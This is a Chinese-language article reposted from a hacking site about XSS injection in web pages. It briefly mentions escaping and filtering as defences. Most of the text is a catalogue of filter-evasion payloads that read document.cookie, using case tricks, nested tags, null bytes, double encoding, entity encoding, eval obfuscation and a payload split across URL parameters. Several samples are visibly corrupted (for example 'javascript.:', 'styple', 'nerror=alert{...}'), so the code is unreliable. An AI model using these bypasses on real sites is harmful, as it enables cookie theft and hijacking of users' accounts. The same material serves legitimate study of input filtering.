(轉自黑吧安全網http://www.myhack58.com/)
web前端開發常見的安全問題就是會遭遇XSS注入,而常見的XSS注入有以下2種方式:
一、html標簽注入
這是最常見的一種,主要入口為表單項(一般就是正則過濾不周全)、內聯樣式表(exploer)
正則過濾的解決辦法,php一般會使用htmlspecialchars或者htmlentities函數進行轉義
注入方式有<script>/圖片標簽/連接標簽/head頭中其他標簽,比如:
<sCrIpT. src=xss.js></sCrIpT> <<script>alert("xss");//<</script>
img src="javascript.:alert('xss');"> <img """><script>alert("xss")</script>">
<script. a=">" SRC="xss.js"></script> <iframe. src="javascript.:alert('xss');"></iframe>
二、js代碼注入
一般為使用JS代碼直接引用,不經校驗的字符串,解析不安全的json(p)數據等
比如一個name字段,沒有經過過濾時,當name等於以下輸入時
';alert('xss');//
'';!--"<xss>=&{()}
那使用document.write('u name is' + name);,就會破壞原有結構,插入不期望的數據
三、應對XSS注入的方法主要有2種:
1、對輸入的數據進行轉義保存,在輸出時再進行還原
2、對輸入的數據進行過濾,確保輸入數據符合我們的期望(數據類型、長度、過濾空格/特殊字符、判斷唯一性等)
對應的,逃避過濾的方法就有以下幾種:
A、許多過濾匹配特殊的標簽,包括起始與結束尖括號。但是,許多瀏覽器接受結束括號前的空白符,允許攻擊者輕易避開這種過濾。例如:<script. >
B、因為許多人用小寫字符編寫HTML代碼,所以一些過濾僅檢查常用的小寫惡意標簽。例如:<ScRiPt>,通過改變字符大小寫避開過濾。
C、一些過濾匹配任何成對的起始與結束尖括號,刪除其中的任何內容,但通常可以依靠周圍現有的語法,結束注入的標簽,從而避開這種過濾。比如:
a 某個表單中的value值為:
<input type="hidden" name="pageid" value="擦擦擦">
使用如下代碼進行替換,從而注入一個js新標簽
擦擦擦"><x styple=" x:expression(alert(document.cookie))
b 瀏覽器一般會接受未結束的html標簽(現在還有N多不服務W3C標准的瀏覽器存在),如下代碼就可避開過濾,執行一個alert操作
<img src="" nerror=alert{document.cookie}
D、一些過濾匹配成對的起始與結束尖括號,提取其中的內容,並將這些內容與標簽名稱黑名單進行比較。可以通過使用多余的括號避開過濾。
<<script>alert(document.cookie);//<</script>
E、即使空字節后面的文本仍然在應用程序的響應中返回,但如果遇到空字節,一些過濾會停止處理字符串。在被過濾的表達式前插入一個URL編碼的空字節即可避開這種過濾,還是上面C的表單
擦擦擦%00<script>
F、在不同的目標瀏覽器中,通常可以在被過濾的表達式中插入能夠避開過濾、但仍被瀏覽器接受的字符:
<script/src=...
<scr%00ipt>
expr/*****/ession
G、果用戶提交的數據在應用過濾后還進行了規范化(encode/decode),我們仍可以通過URL編碼或雙重編碼被過濾的表達式,避開過濾,並對漏洞進行利用。
%3cscript%3e(一次encode) %253cscript%253e(2次encode)
H、由於在服務器執行所有輸入確認后,在響應中返回的攻擊有效代碼會被受害者的瀏覽器解析,這時候就出現了一種避開規范化的特殊情況。有時候,可以對攻擊代碼進行HTML編碼以避開服務器的輸入確認,受害者的瀏覽器將會再次解析攻擊代碼。例如,表達式Javascript:常被阻止以防止使用這種協議的攻擊。但是,攻擊者可以通過各種瀏覽器接受的方式對該表達式進行HTML編碼。例如:
a、<img src=javascript.:...
<img src=javascri&0000112;t:...
<img src=javascript:....
以上三個例子分別使用標准的UTF-8編碼、利用多余填補數據的標准編碼以及省略分號的十六進制編碼。不同的編碼類型進行結合,排列組合量非常大。
b、有時候我們能夠成功執行一些JavaScript腳本,但在代碼中對一些命令和關鍵字進行了限制。這個時候,可以通過動態創建並執行語句來避開應用程序的過濾。
比如,應用程序阻止用戶提交任何包含表達式document.cookie的數據,可以通過如下方法來避開這種過濾:
var a = "alert(doc" + "ument.coo" + "kie)"; eval(a);
或var a = "alert(" + String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101) + ")"; eval(a);
c、有時候應用程序會對某些關鍵字分進行HTML編碼(<變成<;,>變成>;),這種情況下,應用程序可能會完全刪除某些字符或表達式,試圖利用這種凈化來阻止惡意代碼的執行。通常碰到這種字符凈化設置,需要查明應用程序凈化了哪些字符與表達式,以及能否通過剩下的字符實施攻擊。
I、如果過濾完全刪除某些表達式,並且至少有一個被刪除的表達式長度超過一個字符,那么只要應用程序沒有進行遞歸凈化,就可能避開過濾。
<scr<script>ipt>
假設應用程序對每個字段實施了長度限制,以阻止在其中插入有效的攻擊字符串。但是攻擊者仍然可以使用下面的方法,將一段腳本分布到他所控制的三個位置,從而傳送一個有效的攻擊字符串:
比如下面這個鏈接(get方式,使用三個參數)
https://xxx.com/account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>"
最終得到的HTML完全有效,其中的源代碼塊已成為JavaScript注釋(包含在/*與*/之間),因此被瀏覽器忽略。這樣注入的腳本被執行